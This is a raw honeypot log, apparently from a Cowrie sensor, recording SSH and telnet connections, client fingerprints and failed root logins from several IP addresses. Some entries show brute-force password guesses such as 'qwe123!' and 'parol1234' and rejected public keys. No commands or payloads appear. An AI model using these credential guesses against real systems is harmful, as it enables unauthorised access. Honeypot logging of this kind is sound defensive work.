{"eventid":"cowrie.session.closed","duration":48.64540672302246,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:17:10.582798Z","src_ip":"128.199.8.54","session":"e6599fd85b18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.75264930725098,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:17:14.935737Z","src_ip":"128.199.8.54","session":"87b8614a5a23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":48454,"dst_ip":"10.17.0.5","dst_port":22,"session":"49aac227848e","protocol":"ssh","message":"New connection: 72.17.34.38:48454 (10.17.0.5:22) [session: 49aac227848e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:17:32.974483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:17:32.978373Z","src_ip":"72.17.34.38","session":"49aac227848e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:17:33.012934Z","src_ip":"72.17.34.38","session":"49aac227848e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!","message":"login attempt [root/qwe123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:17:33.185394Z","src_ip":"72.17.34.38","session":"49aac227848e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:17:34.221652Z","src_ip":"72.17.34.38","session":"49aac227848e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":38592,"dst_ip":"159.203.135.109","dst_port":23,"session":"a57f66aff3d6","protocol":"telnet","message":"New connection: 103.249.87.183:38592 (159.203.135.109:23) [session: a57f66aff3d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:17:38.105894Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.96.178.220","src_port":41690,"dst_ip":"10.17.0.5","dst_port":22,"session":"b122d5e2c434","protocol":"ssh","message":"New connection: 38.96.178.220:41690 (10.17.0.5:22) [session: b122d5e2c434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:17:51.130434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:17:51.134308Z","src_ip":"38.96.178.220","session":"b122d5e2c434","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:17:51.143581Z","src_ip":"38.96.178.220","session":"b122d5e2c434","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7c:be:d6:c0:d5:9d:ff:89:a9:2b:14:16:19:84:27:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClOzK2YsxyCDWjFSgdzoLu0sG9OSfn4hFyIodOHdvJtWoIgti5L1SoSi+JgY4TGgAGlt3HyZ3BJS0E/U0VG0WwEPYnyTEEv77u/Leqf/VRMFH8OTbVp7IdxE2kw27PD6StyiIdVSCJDCOc3kkQeaIGQYy7uHhhEIKj4+MNTydkhnu/R+pA7evKwPXfqotCWpqCoILLML7+PpT6Ps3tmrdBWIV1AlrFuFi02fWvK2jvKtuUmCOxehS2zYRjfajte/gs8Oaks9KNd+YS6LPzCDl1BIRVjFnw6/q3K9DruzhInfo8ToV0uTXy2vsEpRKEblbUKwaJ66uGNwC2gdJ6lnFp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7c:be:d6:c0:d5:9d:ff:89:a9:2b:14:16:19:84:27:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:17:51.162120Z","src_ip":"38.96.178.220","session":"b122d5e2c434","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7c:be:d6:c0:d5:9d:ff:89:a9:2b:14:16:19:84:27:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClOzK2YsxyCDWjFSgdzoLu0sG9OSfn4hFyIodOHdvJtWoIgti5L1SoSi+JgY4TGgAGlt3HyZ3BJS0E/U0VG0WwEPYnyTEEv77u/Leqf/VRMFH8OTbVp7IdxE2kw27PD6StyiIdVSCJDCOc3kkQeaIGQYy7uHhhEIKj4+MNTydkhnu/R+pA7evKwPXfqotCWpqCoILLML7+PpT6Ps3tmrdBWIV1AlrFuFi02fWvK2jvKtuUmCOxehS2zYRjfajte/gs8Oaks9KNd+YS6LPzCDl1BIRVjFnw6/q3K9DruzhInfo8ToV0uTXy2vsEpRKEblbUKwaJ66uGNwC2gdJ6lnFp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:17:51.164975Z","src_ip":"38.96.178.220","session":"b122d5e2c434","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:c7:aa:25:3c:9b:e3:e9:08:ed:59:ab:26:d9:5c:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuSdOXsovp5yIYs09kOO+JuY2DwrhoywAn9JkiRgkj+qVG7GiMtYfWZjvPjfDPSxhiGUfjgiE/roTPE2WrjYZxM5guuyH3e6w65Meqn4NVeTo5GpUWbujRWsjg46/2mO56YO9D39A5G5tLDFQ0sW9zDtW1/bMKk7uMoISWA80uYnsdavMli3wvQZqYCMDQsoPOGgZoPxvVwxXztkZ40tD8RCuw7ZOD8aQHzM7QZ1D6aMR65GMx9cGTHZxFSq6FFka/Q1zUlvDmJmqvfS8tWoafqMt9sMbqIVBRswwThOl2MVU+CUX9pIBfxie0Po7r+Wdfo7EdxJIL76eu0Q1m4hsf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:c7:aa:25:3c:9b:e3:e9:08:ed:59:ab:26:d9:5c:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:17:51.172770Z","src_ip":"38.96.178.220","session":"b122d5e2c434","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:c7:aa:25:3c:9b:e3:e9:08:ed:59:ab:26:d9:5c:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuSdOXsovp5yIYs09kOO+JuY2DwrhoywAn9JkiRgkj+qVG7GiMtYfWZjvPjfDPSxhiGUfjgiE/roTPE2WrjYZxM5guuyH3e6w65Meqn4NVeTo5GpUWbujRWsjg46/2mO56YO9D39A5G5tLDFQ0sW9zDtW1/bMKk7uMoISWA80uYnsdavMli3wvQZqYCMDQsoPOGgZoPxvVwxXztkZ40tD8RCuw7ZOD8aQHzM7QZ1D6aMR65GMx9cGTHZxFSq6FFka/Q1zUlvDmJmqvfS8tWoafqMt9sMbqIVBRswwThOl2MVU+CUX9pIBfxie0Po7r+Wdfo7EdxJIL76eu0Q1m4hsf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:17:51.176059Z","src_ip":"38.96.178.220","session":"b122d5e2c434","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:84:cd:c8:3e:9e:72:59:a0:af:40:c3:eb:6b:a0:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoqqLWDXVnDR6BxD2/TZj3qqa15u2yn+8bEN0/EIWS7McubSFsEgampvgVj4oiXIuMCoZxvflem4ncJEHTkL+8ZmTv38ftnQcqQ3u+ahi/mUzLs5jGPUVn3mTWXJCtETgXQQRGHFOIzce+fFMD5eB1ghehH4mfpiQM4176hY9zpGLSsiuu7GEBeMkM+72WteebkZBO6V7ZjXLBMNFaTWF/e3IaF29b236XXACU7KqYd4K/ogNalT0OwA3rvmUaCMfTY6epzrTEYjEZmjPK85Yxj6WjvbubHljOyhkfdlg68dkXTJ9a6kvhES9L1MaIOKLsdQ8n36Rj9PqWIncaW9Xf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:84:cd:c8:3e:9e:72:59:a0:af:40:c3:eb:6b:a0:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:17:51.187947Z","src_ip":"38.96.178.220","session":"b122d5e2c434","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:84:cd:c8:3e:9e:72:59:a0:af:40:c3:eb:6b:a0:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoqqLWDXVnDR6BxD2/TZj3qqa15u2yn+8bEN0/EIWS7McubSFsEgampvgVj4oiXIuMCoZxvflem4ncJEHTkL+8ZmTv38ftnQcqQ3u+ahi/mUzLs5jGPUVn3mTWXJCtETgXQQRGHFOIzce+fFMD5eB1ghehH4mfpiQM4176hY9zpGLSsiuu7GEBeMkM+72WteebkZBO6V7ZjXLBMNFaTWF/e3IaF29b236XXACU7KqYd4K/ogNalT0OwA3rvmUaCMfTY6epzrTEYjEZmjPK85Yxj6WjvbubHljOyhkfdlg68dkXTJ9a6kvhES9L1MaIOKLsdQ8n36Rj9PqWIncaW9Xf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:17:51.190741Z","src_ip":"38.96.178.220","session":"b122d5e2c434","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:db:59:9d:31:8a:54:6b:01:1a:e5:ff:50:da:9a:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHObcxUfZcFe/B6W8X3+gLxaCMS/K+DXrntwAYv1NyYa5AH2/crZPFiGA0gdz7A9uCUcwgF/jbX+sUPUIFTVfGAlvod4RGutDRChZ0UHfFCZiUTEXC6eS3jQRHXunG8xPa258pbcRx+w1W+3+OXJgZHVa4wv5ik21l/hJIjkQ89ayM+0rn+8A3k26nfMHEjJcs6e4sDuB17UxIpjlU1epYs1aVMyXUEF0Ph/AhB8W2AzBRFC7r5GYOPvvXNTHrgornW8eO5CdkdvuiyYXyENZuJajH9qoSJcdjbRsWbogNXBU+Ae5HCXht4lTqfjscl6myDMCSotpn+UhtUeZ8Ap5Jc5DMUm+kTclLR4r829YNzMHDP6PTiEia3yqJBp8IU/qHboaM6H+bULnR8dBlXsdSqzMWLQvxohrd6zkeoDpA1Jipg5KSM7tcRySqSy2Y+CtUM7+bwFhAXyXlFU/X05nR1+GPHc+ISbRo2Xifm2URoBckDBFt1w1ftfyBDeQqr+yPMTOkZlzfBJfIERl/ArT9z6b4xE0A3qzKCEijtmaHHLxpOB9FrTZq4tzZKcrbq6xOYQ6r/1b/nnMbGHqqoJ6ysjynJTgeO3da0SlruVy96rsyAvaaerRZ4b153i/yzLYn9d2zuRuwFueQHkkjhARR9Nx1BNpnS/qHcwwhRM/r4Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:db:59:9d:31:8a:54:6b:01:1a:e5:ff:50:da:9a:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:17:51.197384Z","src_ip":"38.96.178.220","session":"b122d5e2c434","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:db:59:9d:31:8a:54:6b:01:1a:e5:ff:50:da:9a:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHObcxUfZcFe/B6W8X3+gLxaCMS/K+DXrntwAYv1NyYa5AH2/crZPFiGA0gdz7A9uCUcwgF/jbX+sUPUIFTVfGAlvod4RGutDRChZ0UHfFCZiUTEXC6eS3jQRHXunG8xPa258pbcRx+w1W+3+OXJgZHVa4wv5ik21l/hJIjkQ89ayM+0rn+8A3k26nfMHEjJcs6e4sDuB17UxIpjlU1epYs1aVMyXUEF0Ph/AhB8W2AzBRFC7r5GYOPvvXNTHrgornW8eO5CdkdvuiyYXyENZuJajH9qoSJcdjbRsWbogNXBU+Ae5HCXht4lTqfjscl6myDMCSotpn+UhtUeZ8Ap5Jc5DMUm+kTclLR4r829YNzMHDP6PTiEia3yqJBp8IU/qHboaM6H+bULnR8dBlXsdSqzMWLQvxohrd6zkeoDpA1Jipg5KSM7tcRySqSy2Y+CtUM7+bwFhAXyXlFU/X05nR1+GPHc+ISbRo2Xifm2URoBckDBFt1w1ftfyBDeQqr+yPMTOkZlzfBJfIERl/ArT9z6b4xE0A3qzKCEijtmaHHLxpOB9FrTZq4tzZKcrbq6xOYQ6r/1b/nnMbGHqqoJ6ysjynJTgeO3da0SlruVy96rsyAvaaerRZ4b153i/yzLYn9d2zuRuwFueQHkkjhARR9Nx1BNpnS/qHcwwhRM/r4Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:17:51.200144Z","src_ip":"38.96.178.220","session":"b122d5e2c434","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:a6:5c:7e:4a:eb:dd:3c:72:81:13:b8:ba:21:64:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4/MdU0F8Q1FoatE+pU/zXiXuRvOhT/sFOQs5B1AUtYqCssm8FM5GCPgL0Um9VuIDaGHh8h/u/bldg967PwOmVbJOi/GjD6AZRGzP8UYpz+/x3fqEILlcvLSQF4PP43HzCKThFt4XujfzYx6Qo4HV4OsY8EAe3sutj/M9NeFig7uL4Zd1dwSKtyw+E3eDBScNlewHu2Gm/rPPAFbrSarKy76d4z5yvPeNIeizDZV/8N5iZhquXzHUN4TMTWz56iaXLjMSyrsCAkfO5navx8AiSn0fz9XKAYRcKzIgRliojwk1t6rMihlZp9jw9HBHEUHjoNcssoQtdKl31SgACJ7/v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:a6:5c:7e:4a:eb:dd:3c:72:81:13:b8:ba:21:64:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:17:51.206321Z","src_ip":"38.96.178.220","session":"b122d5e2c434","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:a6:5c:7e:4a:eb:dd:3c:72:81:13:b8:ba:21:64:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4/MdU0F8Q1FoatE+pU/zXiXuRvOhT/sFOQs5B1AUtYqCssm8FM5GCPgL0Um9VuIDaGHh8h/u/bldg967PwOmVbJOi/GjD6AZRGzP8UYpz+/x3fqEILlcvLSQF4PP43HzCKThFt4XujfzYx6Qo4HV4OsY8EAe3sutj/M9NeFig7uL4Zd1dwSKtyw+E3eDBScNlewHu2Gm/rPPAFbrSarKy76d4z5yvPeNIeizDZV/8N5iZhquXzHUN4TMTWz56iaXLjMSyrsCAkfO5navx8AiSn0fz9XKAYRcKzIgRliojwk1t6rMihlZp9jw9HBHEUHjoNcssoQtdKl31SgACJ7/v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:17:51.208809Z","src_ip":"38.96.178.220","session":"b122d5e2c434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:17:51.219841Z","src_ip":"38.96.178.220","session":"b122d5e2c434","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47782,"dst_ip":"159.203.135.109","dst_port":23,"session":"27828f0c0360","protocol":"telnet","message":"New connection: 128.199.8.54:47782 (159.203.135.109:23) [session: 27828f0c0360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:18:11.851882Z"}
{"eventid":"cowrie.session.closed","duration":34.51545286178589,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:18:12.621211Z","src_ip":"103.249.87.183","session":"a57f66aff3d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35168,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae9f65f3670e","protocol":"telnet","message":"New connection: 128.199.8.54:35168 (159.203.135.109:23) [session: ae9f65f3670e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:18:37.350280Z"}
{"eventid":"cowrie.session.closed","duration":45.02639031410217,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:18:56.878166Z","src_ip":"128.199.8.54","session":"27828f0c0360","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":40356,"dst_ip":"159.203.135.109","dst_port":22,"session":"bec18ad91499","protocol":"ssh","message":"New connection: 103.172.78.219:40356 (159.203.135.109:22) [session: bec18ad91499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:19:07.391482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:19:07.399230Z","src_ip":"103.172.78.219","session":"bec18ad91499","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:19:07.648615Z","src_ip":"103.172.78.219","session":"bec18ad91499","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parol1234","message":"login attempt [root/parol1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:19:08.405041Z","src_ip":"103.172.78.219","session":"bec18ad91499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:19:09.661064Z","src_ip":"103.172.78.219","session":"bec18ad91499","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":57952,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cc372234f6a","protocol":"ssh","message":"New connection: 72.17.34.38:57952 (10.17.0.5:22) [session: 8cc372234f6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:19:22.801464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:19:22.804991Z","src_ip":"72.17.34.38","session":"8cc372234f6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:19:22.841680Z","src_ip":"72.17.34.38","session":"8cc372234f6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXsw2","message":"login attempt [root/1qazXsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:19:23.016000Z","src_ip":"72.17.34.38","session":"8cc372234f6a","protocol":"ssh"}
